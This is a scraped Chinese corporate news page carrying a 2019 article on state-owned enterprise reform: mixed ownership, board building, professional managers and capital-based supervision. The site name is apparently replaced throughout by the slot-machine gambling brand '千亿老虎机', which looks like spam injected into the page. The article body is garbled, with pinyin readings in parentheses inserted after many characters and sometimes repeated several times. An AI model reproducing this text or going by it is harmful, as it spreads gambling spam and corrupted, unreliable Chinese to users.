千亿老虎机

中建(jian)网群 | | 公司(si)办公平(ping)台 | | |
 
千亿老虎机
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
千亿老虎机>> 千亿老虎机>>行业新闻
以混改为重点深化国资国企改革
发布日期:2019-04-08 字号:[ ]

  未(wei)来国(guo)(guo)(guo)有(you)(you)企业改革的(de)思路和(he)(he)重(zhong)点(dian)是要按照完善社会主义市(shi)场经济(ji)体制(zhi)(zhi)的(de)要求,实施国(guo)(guo)(guo)有(you)(you)经济(ji)战(zhan)略性调整,优化国(guo)(guo)(guo)有(you)(you)资(zi)本布局和(he)(he)结(jie)构,积极发展(zhan)混合(he)所有(you)(you)制(zhi)(zhi)经济(ji),加(jia)快完善企业法人治理结(jie)构,建立健全以管资(zi)本为主的(de)国(guo)(guo)(guo)资(zi)监管体制(zhi)(zhi),大(da)幅提(ti)高国(guo)(guo)(guo)有(you)(you)资(zi)本运营(ying)和(he)(he)监管效率。

  以战略性行(xing)业为重(zhong)点(dian)优化国(guo)有经济布局和结构

  第一(yi)(yi),加快国有(you)(you)(you)(you)(you)经济(ji)布局和(he)结(jie)构的(de)战略性(xing)调整。制定(ding)国有(you)(you)(you)(you)(you)经济(ji)布局结(jie)构战略性(xing)调整规(gui)划,明确调整方向和(he)目标。继续按照(zhao)“有(you)(you)(you)(you)(you)进有(you)(you)(you)(you)(you)退(tui)(tui)、有(you)(you)(you)(you)(you)所(suo)为(wei)有(you)(you)(you)(you)(you)所(suo)不为(wei)”、“进而(er)有(you)(you)(you)(you)(you)为(wei)、退(tui)(tui)而(er)有(you)(you)(you)(you)(you)序(xu)”的(de)原(yuan)则(ze),沿着(zhe)竞争(zheng)性(xing)行业和(he)战略性(xing)、垄断性(xing)行业两条(tiao)线,加快国有(you)(you)(you)(you)(you)经济(ji)布局和(he)结(jie)构调整步(bu)伐。在一(yi)(yi)般竞争(zheng)性(xing)领域要退(tui)(tui)足(zu)、退(tui)(tui)够(gou),为(wei)民间投资(zi)者“进得来、稳得住(zhu)”创造公平竞争(zheng)环境。

  在竞(jing)争(zheng)(zheng)(zheng)性行业(ye),国有(you)经(jing)济要按照市场(chang)化原则(ze),继续适当退出和(he)(he)收缩(suo)战(zhan)线,为民(min)间(jian)资本和(he)(he)民(min)营经(jing)济发展(zhan)创(chuang)造(zao)广阔市场(chang)空间(jian),有(you)选择(ze)性地保留的(de)竞(jing)争(zheng)(zheng)(zheng)性国有(you)企(qi)业(ye)应找准(zhun)市场(chang)定(ding)位,做强核(he)心业(ye)务,增强对核(he)心技术和(he)(he)专有(you)技术的(de)研发能力(li),不断提(ti)高核(he)心业(ye)务的(de)竞(jing)争(zheng)(zheng)(zheng)力(li),成为带动行业(ye)发展(zhan)的(de)核(he)心引领力(li)量。

  在关(guan)系国(guo)家安全和(he)国(guo)民(min)经济(ji)命(ming)脉的(de)(de)(de)重要(yao)行业和(he)关(guan)键(jian)领域,在适度(du)加大国(guo)有资本(ben)投入(ru)力度(du)、加强国(guo)有经济(ji)控(kong)制力的(de)(de)(de)同时,要(yao)放宽行业准入(ru),引(yin)导社会资本(ben)、民(min)间资本(ben)进(jin)入(ru),提(ti)高相关(guan)行业竞(jing)争性业务(wu)的(de)(de)(de)市场竞(jing)争程度(du),提(ti)高行业运(yun)行质量和(he)效率。相关(guan)国(guo)有企业要(yao)加快公(gong)司制股份制改革步伐(fa),完善(shan)公(gong)司治理结构,提(ti)高公(gong)司现(xian)代化、规(gui)范化管理水平和(he)企业国(guo)际竞(jing)争力。

  实(shi)施国(guo)有(you)企业(ye)分类改(gai)革(ge),探索实(shi)行政策性和(he)竞争性国(guo)有(you)企业(ye)分类管理(li)。推动具备条件的国(guo)有(you)大(da)型企业(ye)实(shi)现整体(ti)上(shang)市(shi),不具备整体(ti)上(shang)市(shi)条件的国(guo)有(you)大(da)型企业(ye)要加快股权多元(yuan)化改(gai)革(ge),必须保持(chi)国(guo)有(you)独资的国(guo)有(you)大(da)型企业(ye)要加快公司制改(gai)革(ge),建立和(he)完(wan)善(shan)(shan)现代企业(ye)制度(du),完(wan)善(shan)(shan)国(guo)有(you)企业(ye)法人(ren)治理(li)结(jie)构。

  第二,分类推(tui)(tui)进国(guo)(guo)有(you)(you)资(zi)本(ben)(ben)布局优化。对于竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)性行(xing)(xing)业(ye)(ye),要(yao)加大重(zhong)组整合力(li)度,提高产(chan)(chan)业(ye)(ye)集(ji)中度,优化资(zi)源配置(zhi),加快(kuai)企业(ye)(ye)转(zhuan)型(xing)升级,加快(kuai)培育(yu)发(fa)(fa)展一批(pi)具有(you)(you)较(jiao)强竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)力(li)的(de)世界(jie)一流水平跨国(guo)(guo)公司。竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)类企业(ye)(ye)应(ying)主要(yao)根据资(zi)本(ben)(ben)投(tou)(tou)资(zi)收益,优化国(guo)(guo)有(you)(you)资(zi)本(ben)(ben)投(tou)(tou)向,推(tui)(tui)动(dong)国(guo)(guo)有(you)(you)产(chan)(chan)权流转(zhuan),淘汰(tai)没(mei)有(you)(you)竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)优势、长(zhang)期(qi)亏损的(de)企业(ye)(ye),加快(kuai)处置(zhi)低效、无效及(ji)不(bu)良资(zi)产(chan)(chan),提高竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)能力(li)。一般竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)性行(xing)(xing)业(ye)(ye)的(de)国(guo)(guo)有(you)(you)企业(ye)(ye)不(bu)作为(wei)国(guo)(guo)有(you)(you)资(zi)本(ben)(ben)的(de)投(tou)(tou)资(zi)重(zhong)点,现有(you)(you)企业(ye)(ye)依(yi)照市(shi)场优胜劣汰(tai)的(de)商(shang)业(ye)(ye)竞(jing)(jing)(jing)争(zheng)(zheng)(zheng)规则进行(xing)(xing)市(shi)场公平竞(jing)(jing)(jing)争(zheng)(zheng)(zheng),国(guo)(guo)家一般不(bu)给予特殊政(zheng)(zheng)策或(huo)项目支(zhi)持(chi)。重(zhong)要(yao)行(xing)(xing)业(ye)(ye)和关(guan)键领域应(ying)作为(wei)国(guo)(guo)有(you)(you)资(zi)本(ben)(ben)投(tou)(tou)资(zi)的(de)重(zhong)点方(fang)向,根据不(bu)同行(xing)(xing)业(ye)(ye)特点,加大国(guo)(guo)有(you)(you)资(zi)本(ben)(ben)投(tou)(tou)入,支(zhi)持(chi)其(qi)在服务国(guo)(guo)家宏观调控、保(bao)障国(guo)(guo)家安全和国(guo)(guo)民经(jing)济运行(xing)(xing)、完成(cheng)政(zheng)(zheng)府特定任务等方(fang)面发(fa)(fa)挥(hui)更大作用。

  对基本公共服务(wu)(wu)类(lei)(lei)行业,要加(jia)大(da)国(guo)(guo)(guo)有(you)(you)(you)(you)(you)资(zi)本投入,提(ti)高公共服务(wu)(wu)的(de)质量和(he)效率,支(zhi)持(chi)其在提(ti)供公共服务(wu)(wu)方面作(zuo)出更大(da)贡献(xian)。进(jin)一步(bu)突出主业,优化公共服务(wu)(wu)业务(wu)(wu)资(zi)源配置,增(zeng)强持(chi)续经(jing)营能力(li)。加(jia)快(kuai)优化国(guo)(guo)(guo)有(you)(you)(you)(you)(you)资(zi)本战略布局,按照制造业、服务(wu)(wu)业、金(jin)融业、投资(zi)类(lei)(lei)和(he)科研类(lei)(lei)等(deng)不同产业类(lei)(lei)型进(jin)行分类(lei)(lei)管理和(he)考(kao)核(he),促进(jin)国(guo)(guo)(guo)企改革(ge)重组(zu)、国(guo)(guo)(guo)有(you)(you)(you)(you)(you)资(zi)本“有(you)(you)(you)(you)(you)进(jin)有(you)(you)(you)(you)(you)退”。

  以建立法人(ren)产(chan)权制度(du)(du)为核心加快完善(shan)现代企(qi)业制度(du)(du)

  第一,深(shen)入(ru)推进现(xian)代公(gong)(gong)(gong)司(si)制(zhi)改革。不论是(shi)商业(ye)类(lei)还(hai)是(shi)公(gong)(gong)(gong)益类(lei)国(guo)有(you)企(qi)业(ye),其(qi)基本(ben)属性(xing)都(dou)是(shi)企(qi)业(ye),都(dou)是(shi)独(du)立的市(shi)场(chang)(chang)(chang)主(zhu)体(ti)(ti)(ti),经(jing)营机(ji)制(zhi)都(dou)必须(xu)适应市(shi)场(chang)(chang)(chang)经(jing)济的要(yao)求。要(yao)加快推进现(xian)代企(qi)业(ye)制(zhi)度建设,按(an)照市(shi)场(chang)(chang)(chang)决定资(zi)源配置的要(yao)求,依法独(du)立自主(zhu)开展(zhan)生产经(jing)营活(huo)动。竞争(zheng)类(lei)企(qi)业(ye)以市(shi)场(chang)(chang)(chang)为(wei)导向,引入(ru)社会(hui)资(zi)本(ben),积极发展(zhan)混合(he)(he)所(suo)(suo)有(you)制(zhi)经(jing)济,促进企(qi)业(ye)体(ti)(ti)(ti)制(zhi)机(ji)制(zhi)创(chuang)新(xin),打造充满生机(ji)活(huo)力的市(shi)场(chang)(chang)(chang)竞争(zheng)主(zhu)体(ti)(ti)(ti)。重要(yao)骨干(gan)企(qi)业(ye)可保持实(shi)体(ti)(ti)(ti)(集团)公(gong)(gong)(gong)司(si)形(xing)式,具备条件的可改组为(wei)国(guo)有(you)资(zi)本(ben)投(tou)资(zi)公(gong)(gong)(gong)司(si),其(qi)他(ta)企(qi)业(ye)可通过混合(he)(he)所(suo)(suo)有(you)制(zhi)改革或(huo)整体(ti)(ti)(ti)上市(shi)后由国(guo)有(you)资(zi)本(ben)运营公(gong)(gong)(gong)司(si)持股。公(gong)(gong)(gong)益类(lei)国(guo)有(you)企(qi)业(ye)主(zhu)要(yao)采取(qu)实(shi)体(ti)(ti)(ti)(集团)公(gong)(gong)(gong)司(si)形(xing)式,可根据业(ye)务特点推进所(suo)(suo)出资(zi)企(qi)业(ye)混合(he)(he)所(suo)(suo)有(you)制(zhi)改革。

  积(ji)极推进(jin)国(guo)有企(qi)(qi)业(ye)整体(ti)(ti)上市(shi)。进(jin)一(yi)步(bu)明确(que)政府、国(guo)资(zi)监管部(bu)门及企(qi)(qi)业(ye)的(de)任(ren)务(wu)和责(ze)任(ren),统筹规(gui)划并制(zhi)定相关配套政策(ce)(ce)。企(qi)(qi)业(ye)根据(ju)国(guo)家战(zhan)略(lve)和实际发展需要,在(zai)国(guo)资(zi)监管部(bu)门指导下,“一(yi)企(qi)(qi)一(yi)策(ce)(ce)”制(zhi)定整体(ti)(ti)上市(shi)的(de)整体(ti)(ti)实施方案和具体(ti)(ti)的(de)操作(zuo)细则。方案实施必须重视市(shi)场机(ji)制(zhi)的(de)作(zuo)用,允许持股(gu)机(ji)构和企(qi)(qi)业(ye)相机(ji)决策(ce)(ce),不设置具体(ti)(ti)的(de)进(jin)度要求和强制(zhi)性的(de)时间表。通过整体(ti)(ti)上市(shi),强化资(zi)本(ben)市(shi)场和社会的(de)外部(bu)监督,优化企(qi)(qi)业(ye)股(gu)权结构和治(zhi)理机(ji)制(zhi),彻底实现国(guo)有企(qi)(qi)业(ye)股(gu)权股(gu)份化、多(duo)元(yuan)化,增强国(guo)有控股(gu)上市(shi)公司的(de)激(ji)励约束机(ji)制(zhi)。

  第二,进一步加强国有企(qi)(qi)业董事(shi)会(hui)建(jian)(jian)(jian)设(she)(she)(she)。董事(shi)会(hui)的(de)(de)机(ji)(ji)构(gou)建(jian)(jian)(jian)设(she)(she)(she)与机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)相辅(fu)相成,机(ji)(ji)构(gou)建(jian)(jian)(jian)设(she)(she)(she)为(wei)机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)创造条件,机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)也带动机(ji)(ji)构(gou)的(de)(de)完(wan)善。当前(qian)(qian)国有企(qi)(qi)业董事(shi)会(hui)试(shi)点在(zai)机(ji)(ji)构(gou)建(jian)(jian)(jian)设(she)(she)(she)方面进展较快,为(wei)后(hou)续改革打下(xia)(xia)良(liang)好(hao)基础,但(dan)机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)相对(dui)滞(zhi)后(hou),拖累了(le)国有企(qi)(qi)业公司(si)治理的(de)(de)完(wan)善。下(xia)(xia)一步董事(shi)会(hui)建(jian)(jian)(jian)设(she)(she)(she)应(ying)以机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)为(wei)重点,推动机(ji)(ji)构(gou)建(jian)(jian)(jian)设(she)(she)(she)和机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)协同前(qian)(qian)进。机(ji)(ji)制建(jian)(jian)(jian)设(she)(she)(she)的(de)(de)核心是“落(luo)实权力、理清责任、权责对(dui)等”。

  充分(fen)落(luo)实董(dong)事(shi)(shi)会(hui)的权力(li)。随着部分(fen)国企董(dong)事(shi)(shi)会(hui)班子不断(duan)完善、能力(li)不断(duan)提高,国资(zi)管(guan)理(li)部门可以对这些企业减少行政管(guan)理(li)事(shi)(shi)项,切实落(luo)实董(dong)事(shi)(shi)会(hui)的权力(li)。

  完(wan)善董事的(de)追责和免责机制。国资(zi)(zi)(zi)管理部门可以多种(zhong)方(fang)式(shi)追究(jiu)失职董事的(de)责任,可以通过考核免除失职董事的(de)职务,并向社会公示。国资(zi)(zi)(zi)管理部门作为(wei)(wei)积(ji)极的(de)股东,以管资(zi)(zi)(zi)本为(wei)(wei)主加强国有资(zi)(zi)(zi)产监(jian)管,监(jian)管方(fang)式(shi)应从事前审批向事中(zhong)和事后监(jian)管转变。

  完(wan)善重大(da)事(shi)(shi)项(xiang)的(de)(de)决(jue)策(ce)机制。企业董事(shi)(shi)会对重大(da)事(shi)(shi)项(xiang)应遵循“集体决(jue)策(ce)、个人担责”的(de)(de)机制,避免(mian)出(chu)现(xian)(xian)“一把手”决(jue)策(ce)或者无(wu)人担责的(de)(de)现(xian)(xian)象。

  进一(yi)步加强机构(gou)和人才建(jian)设。在借鉴(jian)国内外(wai)经验的基础上,进一(yi)步完善董(dong)事尤其是外(wai)部(bu)董(dong)事的选拔(ba)机制(zhi),完善董(dong)事标(biao)准,拓(tuo)宽人才渠道。

  第三,深(shen)化(hua)(hua)国有(you)(you)企业(ye)(ye)人事(shi)(shi)(shi)(shi)制度(du)改革(ge)。深(shen)化(hua)(hua)国有(you)(you)企业(ye)(ye)领导人员管理(li)体制改革(ge)。逐步取消国有(you)(you)企业(ye)(ye)的(de)行(xing)政级别和(he)类(lei)行(xing)政化(hua)(hua)待遇(yu),建立由董(dong)事(shi)(shi)(shi)(shi)会直接选(xuan)(xuan)聘、考核与管理(li)经理(li)班子(zi)(zi)的(de)新机(ji)制。按照现代(dai)企业(ye)(ye)制度(du)的(de)要求,规范企业(ye)(ye)股东会、董(dong)事(shi)(shi)(shi)(shi)会、监事(shi)(shi)(shi)(shi)会和(he)经营管理(li)层的(de)责权(quan)。完善(shan)董(dong)事(shi)(shi)(shi)(shi)会制度(du),提(ti)高外部(bu)董(dong)事(shi)(shi)(shi)(shi)比例,试点外部(bu)董(dong)事(shi)(shi)(shi)(shi)担任董(dong)事(shi)(shi)(shi)(shi)长(zhang)。落实(shi)董(dong)事(shi)(shi)(shi)(shi)会选(xuan)(xuan)聘、考核、奖(jiang)惩经理(li)班子(zi)(zi)的(de)相关职权(quan),实(shi)现企业(ye)(ye)决(jue)策(ce)权(quan)与经营权(quan)的(de)分离。

  建(jian)立(li)健全职业(ye)经(jing)理(li)(li)(li)(li)制度。以国(guo)企(qi)高管合(he)同制、年薪制、任(ren)期制和(he)(he)市(shi)(shi)场化(hua)(hua)选聘作(zuo)为国(guo)企(qi)全面推行职业(ye)经(jing)理(li)(li)(li)(li)人(ren)(ren)制度的(de)(de)(de)突破口,逐步弱化(hua)(hua)和(he)(he)取(qu)消国(guo)有企(qi)业(ye)及其经(jing)营管理(li)(li)(li)(li)人(ren)(ren)员的(de)(de)(de)半(ban)行政(zheng)化(hua)(hua)身份,推进国(guo)有企(qi)业(ye)管理(li)(li)(li)(li)人(ren)(ren)才市(shi)(shi)场化(hua)(hua)改革,建(jian)立(li)有进有出(chu)、能(neng)上(shang)能(neng)下的(de)(de)(de)管理(li)(li)(li)(li)人(ren)(ren)才流动(dong)和(he)(he)配(pei)置机制。通过走“市(shi)(shi)场化(hua)(hua)”去“行政(zheng)化(hua)(hua)”,打(da)造符(fu)合(he)现代企(qi)业(ye)要求的(de)(de)(de)国(guo)企(qi)职业(ye)经(jing)理(li)(li)(li)(li)人(ren)(ren)队(dui)伍(wu)。构(gou)建(jian)职业(ye)经(jing)理(li)(li)(li)(li)人(ren)(ren)市(shi)(shi)场治理(li)(li)(li)(li)体系,培育统一开放竞争(zheng)有序的(de)(de)(de)职业(ye)经(jing)理(li)(li)(li)(li)人(ren)(ren)市(shi)(shi)场。

  加快完(wan)善(shan)企(qi)业人事和(he)薪酬激励(li)制度。推(tui)进国有企(qi)业人力资(zi)源市场化改(gai)革,推(tui)动国企(qi)内部管理(li)人员(yuan)(yuan)能上(shang)能下、员(yuan)(yuan)工能进能出、收入能增能减(jian)的制度改(gai)革。国有企(qi)业管理(li)人员(yuan)(yuan)和(he)员(yuan)(yuan)工原(yuan)则上(shang)都要实(shi)施(shi)市场化择优选聘,同时要完(wan)善(shan)激励(li)约束机制,合理(li)确定国企(qi)干(gan)部职工的薪酬水平和(he)职务待遇。

  以完善治(zhi)理为(wei)中心积极推进国企(qi)混(hun)合(he)所有制改(gai)革

  首先要(yao)优(you)(you)化(hua)混合所(suo)有(you)(you)制(zhi)(zhi)企(qi)(qi)业(ye)股(gu)权结构。把优(you)(you)化(hua)股(gu)权结构作为混合所(suo)有(you)(you)制(zhi)(zhi)改革的突破(po)口(kou),除国有(you)(you)资本(ben)必须保持独资、绝对(dui)控股(gu)的特殊国有(you)(you)企(qi)(qi)业(ye)外,混合所(suo)有(you)(you)制(zhi)(zhi)改革要(yao)突破(po)“股(gu)比限制(zhi)(zhi)”的思维方式,改变国有(you)(you)股(gu)一股(gu)独大、内部人控制(zhi)(zhi)局面,建立各类股(gu)东利益风险共担、相互(hu)制(zhi)(zhi)衡约束的有(you)(you)效治理结构,切实转变企(qi)(qi)业(ye)经营机制(zhi)(zhi)。

  要加快在竞争性行业领域发展混合(he)(he)所有(you)(you)制经济,优(you)化(hua)股(gu)权结构,着重解决(jue)国(guo)有(you)(you)企(qi)业股(gu)权比例过于集(ji)中、市(shi)场化(hua)运行机制不(bu)健全问题。发挥各(ge)类资本取长(zhang)补短、相(xiang)互促(cu)进作用,实现资源的有(you)(you)效配(pei)置(zhi),推动(dong)混合(he)(he)所有(you)(you)制企(qi)业从追(zhui)求形(xing)式和数量(liang)的“粗放式”混合(he)(he),向(xiang)更为重视发展内涵和质(zhi)量(liang)的“集(ji)约式”混合(he)(he)转(zhuan)变(bian),真正促(cu)进国(guo)有(you)(you)企(qi)业体制机制转(zhuan)换和市(shi)场主体地位形(xing)成。

  国有(you)资(zi)本(ben)(ben)可采取相对(dui)控股(gu)(gu)(gu)(gu)或参股(gu)(gu)(gu)(gu)方(fang)式,允(yun)许非公(gong)资(zi)本(ben)(ben)持股(gu)(gu)(gu)(gu)比例超过(guo)三分之一甚至超过(guo)一半,使出资(zi)人真正(zheng)到位,建立用(yong)手(shou)投票(piao)而不是(shi)“用(yong)脚投票(piao)”的(de)(de)机制(zhi),让各(ge)类股(gu)(gu)(gu)(gu)东在(zai)公(gong)司决(jue)策和治(zhi)(zhi)理(li)(li)中都(dou)能发挥应有(you)作用(yong)。因此(ci),从完(wan)善治(zhi)(zhi)理(li)(li)、强化激励、激发企(qi)业(ye)活(huo)力(li)目的(de)(de)出发,必须(xu)把优化股(gu)(gu)(gu)(gu)权结构(gou)作为混合(he)所有(you)制(zhi)改革的(de)(de)突破口,积极引入各(ge)类投资(zi)者,竞争性领域国有(you)资(zi)本(ben)(ben)持股(gu)(gu)(gu)(gu)比例不设下限,以市场为导向鼓励企(qi)业(ye)兼并重(zhong)组(zu),根据国家(jia)战略(lve)需(xu)要和公(gong)司发展(zhan)实际(ji)设置股(gu)(gu)(gu)(gu)权结构(gou)。探(tan)索建立国有(you)股(gu)(gu)(gu)(gu)东“金股(gu)(gu)(gu)(gu)”制(zhi)度(du),通过(guo)约(yue)定(ding)对(dui)特(te)定(ding)事(shi)项的(de)(de)否决(jue)权,确(que)保国有(you)资(zi)本(ben)(ben)在(zai)特(te)定(ding)领域的(de)(de)控制(zhi)力(li)。

  其次,要切实转(zhuan)(zhuan)变混合所(suo)有(you)制企(qi)业(ye)(ye)激(ji)励(li)约束机制。混合所(suo)有(you)制改革不仅(jin)仅(jin)要实现投资(zi)主体的多元(yuan)化(hua),重点还在于是否实现了混合所(suo)有(you)制企(qi)业(ye)(ye)内部机制的真(zhen)正转(zhuan)(zhuan)变,通过融合民营(ying)企(qi)业(ye)(ye)机制灵活、效率高(gao)和(he)国有(you)企(qi)业(ye)(ye)管(guan)理规范的优势,完善治理、强化(hua)激(ji)励(li),建立起产权清晰、权责明确、决(jue)策民主、管(guan)理科学、富有(you)效率的现代企(qi)业(ye)(ye)制度,提升企(qi)业(ye)(ye)运行效率和(he)价值创造(zao)能力。

  要构建科学(xue)的(de)(de)(de)公司治(zhi)理(li)(li),设置(zhi)合理(li)(li)的(de)(de)(de)股(gu)权(quan)结构,既要防止出现一股(gu)独(du)大(da),也要避免(mian)股(gu)权(quan)过(guo)于分散。合理(li)(li)分配各(ge)类股(gu)东在董事(shi)会的(de)(de)(de)席位(wei),充分保(bao)障(zhang)各(ge)类股(gu)东特别(bie)是非(fei)公有股(gu)东的(de)(de)(de)代表性和发(fa)言权(quan)。

  坚(jian)决推进国企(qi)高管和(he)职(zhi)工的(de)(de)(de)(de)身(shen)(shen)份转化,推动国有企(qi)业(ye)去行政(zheng)化,建(jian)(jian)立(li)市场化的(de)(de)(de)(de)选人用人用工和(he)分(fen)配机制(zhi)(zhi)。混(hun)合所有制(zhi)(zhi)企(qi)业(ye)的(de)(de)(de)(de)经理(li)(li)(li)(li)人团队(dui)应(ying)坚(jian)持(chi)市场化、社(she)会化、去行政(zheng)化、去官(guan)本(ben)位。混(hun)合所有制(zhi)(zhi)企(qi)业(ye)要实行职(zhi)业(ye)经理(li)(li)(li)(li)人制(zhi)(zhi)度(du),通过市场化方式(shi)选聘经理(li)(li)(li)(li)人,明确将企(qi)业(ye)核(he)心管理(li)(li)(li)(li)层(ceng)的(de)(de)(de)(de)身(shen)(shen)份由类行政(zheng)事业(ye)编(bian)制(zhi)(zhi)完全转为企(qi)业(ye)编(bian)制(zhi)(zhi),其任(ren)命权真(zhen)正(zheng)由组织部(bu)门转到(dao)企(qi)业(ye)的(de)(de)(de)(de)董事会。给予核(he)心管理(li)(li)(li)(li)层(ceng)阳光持(chi)股,使(shi)他们的(de)(de)(de)(de)切身(shen)(shen)利益和(he)企(qi)业(ye)利益最大程度(du)一(yi)致化,使(shi)其经营管理(li)(li)(li)(li)潜(qian)能(neng)得到(dao)充分(fen)释放。建(jian)(jian)立(li)奖(jiang)惩分(fen)明的(de)(de)(de)(de)绩(ji)效管理(li)(li)(li)(li)制(zhi)(zhi)度(du)和(he)员工激励机制(zhi)(zhi),调动全体(ti)员工的(de)(de)(de)(de)积极性。

  最后(hou),要规范有序推进混合(he)所(suo)有制改革(ge)。混合(he)所(suo)有制改革(ge)的实(shi)施过程和操作细则同样决(jue)定(ding)着改革(ge)的成败。改革(ge)必须自上而下进行总体规范和设(she)计,并(bing)与尊(zun)重基层创新经验相结合(he)。

  推进混(hun)合(he)所有(you)制应(ying)履行法律法规明确的程序(xu),完(wan)善国有(you)资(zi)产(chan)评估定价机制,进一步(bu)优化程序(xu),更多通过(guo)公开的、全国性(xing)资(zi)本(ben)市(shi)(shi)场和(he)产(chan)权股权交易市(shi)(shi)场,提高资(zi)本(ben)市(shi)(shi)场运行效率,发(fa)现企业有(you)形与无形资(zi)产(chan)价格(ge),推动相(xiang)关配套(tao)制度建设和(he)监管改(gai)革,从制度设计上避免国有(you)资(zi)产(chan)流(liu)失(shi)。

  提高国(guo)(guo)企(qi)改(gai)(gai)(gai)革(ge)配(pei)(pei)套政(zheng)策文(wen)件(jian)(jian)整体性(xing)协调(diao)(diao)性(xing)。混合(he)(he)(he)所有(you)(you)制(zhi)改(gai)(gai)(gai)革(ge)要高度重视协调(diao)(diao)配(pei)(pei)套,对相(xiang)关(guan)配(pei)(pei)套文(wen)件(jian)(jian)进行系(xi)统规范梳理,注(zhu)重配(pei)(pei)套政(zheng)策之间衔(xian)(xian)接和(he)前后出(chu)台政(zheng)策的连续和(he)衔(xian)(xian)接,修改(gai)(gai)(gai)不(bu)符合(he)(he)(he)中央要求和(he)混合(he)(he)(he)所有(you)(you)制(zhi)改(gai)(gai)(gai)革(ge)方(fang)(fang)向的政(zheng)策规定,增强国(guo)(guo)企(qi)改(gai)(gai)(gai)革(ge)系(xi)列(lie)配(pei)(pei)套文(wen)件(jian)(jian)的整体性(xing)、协调(diao)(diao)性(xing)。赋予地(di)方(fang)(fang)和(he)企(qi)业更多、更大(da)改(gai)(gai)(gai)革(ge)自(zi)主权和(he)先(xian)行先(xian)试(shi)的权力,允许地(di)方(fang)(fang)结合(he)(he)(he)实际,对系(xi)列(lie)配(pei)(pei)套文(wen)件(jian)(jian)进行综合(he)(he)(he)、整合(he)(he)(he),减少配(pei)(pei)套文(wen)件(jian)(jian)数量,出(chu)台地(di)方(fang)(fang)国(guo)(guo)企(qi)改(gai)(gai)(gai)革(ge)和(he)混合(he)(he)(he)所有(you)(you)制(zhi)改(gai)(gai)(gai)革(ge)综合(he)(he)(he)性(xing)文(wen)件(jian)(jian),消除众多文(wen)件(jian)(jian)之间相(xiang)互掣肘的问(wen)题,为国(guo)(guo)有(you)(you)企(qi)业混合(he)(he)(he)所有(you)(you)制(zhi)改(gai)(gai)(gai)革(ge)构建制(zhi)度和(he)政(zheng)策基础。

  出台针(zhen)(zhen)对(dui)(dui)(dui)性(xing)的(de)国(guo)企(qi)混(hun)合所(suo)有(you)制(zhi)(zhi)改(gai)(gai)革(ge)支(zhi)持(chi)政策。针(zhen)(zhen)对(dui)(dui)(dui)现有(you)国(guo)企(qi)改(gai)(gai)革(ge)、混(hun)合所(suo)有(you)制(zhi)(zhi)改(gai)(gai)革(ge)政策文件偏向于宏(hong)观指(zhi)导(dao)性(xing)、原(yuan)则(ze)性(xing)的(de)特征(zheng),出台可操作性(xing)强的(de)配套政策和(he)具体支(zhi)持(chi)措(cuo)施,着力建立健全激励性(xing)、支(zhi)持(chi)性(xing)优(you)惠(hui)(hui)政策。在混(hun)合所(suo)有(you)制(zhi)(zhi)企(qi)业管理层持(chi)股、国(guo)企(qi)员工(gong)身份置(zhi)换补(bu)偿、国(guo)有(you)企(qi)业解决社会(hui)包袱和(he)历史(shi)遗留问题、混(hun)合所(suo)有(you)制(zhi)(zhi)改(gai)(gai)革(ge)费用补(bu)偿等(deng)众多方(fang)面出台针(zhen)(zhen)对(dui)(dui)(dui)性(xing)优(you)惠(hui)(hui)政策,以充分调动国(guo)有(you)企(qi)业和(he)社会(hui)资(zi)本参与混(hun)合所(suo)有(you)制(zhi)(zhi)改(gai)(gai)革(ge)的(de)积极性(xing)、主动性(xing)。

  建立鼓励改革(ge)(ge)创新的(de)容错机(ji)制(zhi)形成改革(ge)(ge)合(he)力。当(dang)前国(guo)资国(guo)企改革(ge)(ge)正处(chu)(chu)于(yu)攻坚克难的(de)关键阶段,需要进一步统(tong)一思想认(ren)识,凝聚改革(ge)(ge)共识。要加快建立混改容错机(ji)制(zhi),允许犯错、试错,对(dui)于(yu)由于(yu)决策、操作失(shi)误(wu)而导致的(de)一些问题,应有足够(gou)的(de)宽容。对(dui)于(yu)改革(ge)(ge)方向正确,没有原则性的(de)失(shi)误(wu)和错误(wu),应当(dang)采(cai)取(qu)包容的(de)态度,鼓励大胆(dan)改革(ge)(ge)和创新。当(dang)然,对(dui)于(yu)人为主观(guan)谋取(qu)私利、暗箱操作行为,要依法惩处(chu)(chu),决不姑息。

  以管资本(ben)为主(zhu)完(wan)善国资国企监管体制(zhi)

  第一,完善政(zheng)(zheng)(zheng)府(fu)的(de)国(guo)资(zi)监管(guan)职(zhi)能。以(yi)管(guan)资(zi)本(ben)为(wei)主完善国(guo)有(you)资(zi)产(chan)监管(guan)体(ti)制,必须正确(que)处(chu)理好政(zheng)(zheng)(zheng)府(fu)与(yu)市(shi)场(chang)的(de)关系,坚持(chi)市(shi)场(chang)化改(gai)革方向(xiang),以(yi)提高国(guo)有(you)资(zi)本(ben)的(de)集中度和配置效率为(wei)核心,以(yi)激发企业活力(li)和市(shi)场(chang)竞争力(li)为(wei)着力(li)点,加快国(guo)有(you)资(zi)产(chan)监管(guan)职(zhi)能与(yu)企业出(chu)资(zi)人(ren)职(zhi)能分(fen)离,建立(li)“2+X”的(de)国(guo)有(you)资(zi)本(ben)监管(guan)体(ti)制,加强政(zheng)(zheng)(zheng)府(fu)国(guo)资(zi)部门和财政(zheng)(zheng)(zheng)部门的(de)监管(guan)职(zhi)能,建立(li)若干专司(si)国(guo)有(you)资(zi)本(ben)出(chu)资(zi)人(ren)职(zhi)能的(de)国(guo)有(you)资(zi)本(ben)投资(zi)运营(ying)公司(si),进一步推(tui)进政(zheng)(zheng)(zheng)企分(fen)开(kai)(kai)、政(zheng)(zheng)(zheng)资(zi)分(fen)开(kai)(kai)、所有(you)权与(yu)经营(ying)权相分(fen)离。

